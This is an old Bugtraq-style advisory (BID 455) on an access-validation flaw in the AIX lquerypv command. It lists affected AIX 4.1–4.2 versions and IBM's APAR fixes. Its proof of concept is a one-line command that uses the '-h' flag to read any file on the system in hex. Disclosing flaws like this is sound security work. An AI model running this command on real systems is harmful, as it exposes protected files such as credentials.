AIX lquerypv Vulnerability

BID:455

Info

AIX lquerypv Vulnerability

Bugtraq ID: 455
Class: Access Validation Error
CVE:
Remote: No
Local: Yes
Published: Nov 24 1996 12:00AM
Updated: Nov 24 1996 12:00AM
Credit: This vulnerability was posted to the Bugtraq mailing list by Aleph1 <[email protected]> on Sun, 24 Nov 1996.
Vulnerable: IBM AIX 4.2.1
IBM AIX 4.2
IBM AIX 4.1.5
IBM AIX 4.1.4
IBM AIX 4.1.3
IBM AIX 4.1.2
IBM AIX 4.1.1
IBM AIX 4.1
Not Vulnerable: IBM AIX 4.3.2
IBM AIX 4.3

Discussion

AIX lquerypv Vulnerability

There exists a vulnerability in the lquerypv command under AIX. By using the '-h' flaq, a user may read any file on the file system in hex format.

Exploit / POC

AIX lquerypv Vulnerability

/usr/sbin/lquerypv -h /pathtofilename

Solution / Fix

AIX lquerypv Vulnerability

Solution:
IBM has released the following APAR'S to address this problem:

AIX 4.2
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APAR # IX64204

AIX 4.1
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APAR # IX64203

References

AIX lquerypv Vulnerability

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